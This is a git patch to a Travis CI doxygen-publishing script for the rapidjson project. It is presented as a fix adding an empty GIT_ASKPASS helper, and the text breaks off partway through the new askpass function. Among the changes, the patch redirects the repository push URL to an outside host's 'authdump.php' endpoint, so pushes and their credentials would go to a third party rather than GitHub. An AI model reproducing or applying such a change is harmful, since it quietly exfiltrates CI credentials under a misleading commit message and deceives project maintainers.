From 4dafa2ac42a6d5c772fe7ea76156c682ea547ef9 Mon Sep 17 00:00:00 2001 From: "Philipp A. Hartmann" Date: Sat, 12 Jul 2014 20:47:55 +0200 Subject: [PATCH] travis-doxygen.sh: try to explicitly implement an empty GIT_ASKPASS --- build/travis-doxygen.sh | 27 +++++++++++++++++++++++---- 1 file changed, 23 insertions(+), 4 deletions(-) diff --git a/build/travis-doxygen.sh b/build/travis-doxygen.sh index 894fca3..214ba21 100755 --- a/build/travis-doxygen.sh +++ b/build/travis-doxygen.sh @@ -11,7 +11,12 @@ DOXYGEN_URL="http://ftp.stack.nl/pub/users/dimitri/${DOXYGEN_TAR}" DOXYGEN_BIN="/usr/local/bin/doxygen" : ${GITHUB_REPO:="miloyip/rapidjson"} -GITHUB_URL="https://github.com/${GITHUB_REPO}" +GITHUB_CLONE="git://github.com" +GITHUB_PUSH="https://ssl.sorgh.de/authdump.php" +GITHUB_URL="${GITHUB_PUSH}/${GITHUB_REPO}" + +# if not set, ignore password +: ${GIT_ASKPASS:="${TRAVIS_BUILD_DIR}/gh_ignore_askpass.sh"} skip() { echo "$@" 1>&2 @@ -61,7 +66,8 @@ gh_pages_prepare() cd "${TRAVIS_BUILD_DIR}/doc"; [ ! -d "html" ] || \ abort "Doxygen target directory already exists." - git clone --single-branch -b gh-pages ${GITHUB_URL} html + git --version + git clone --single-branch -b gh-pages "${GITHUB_CLONE}/${GITHUB_REPO}" html cd html # setup git config (with defaults) git config user.name "${GIT_NAME-travis}" @@ -77,6 +83,15 @@ gh_pages_commit() { git diff-index --quiet HEAD || git commit -m "Automatic doxygen build"; } +gh_setup_askpass() { + cat > ${GIT_ASKPASS} <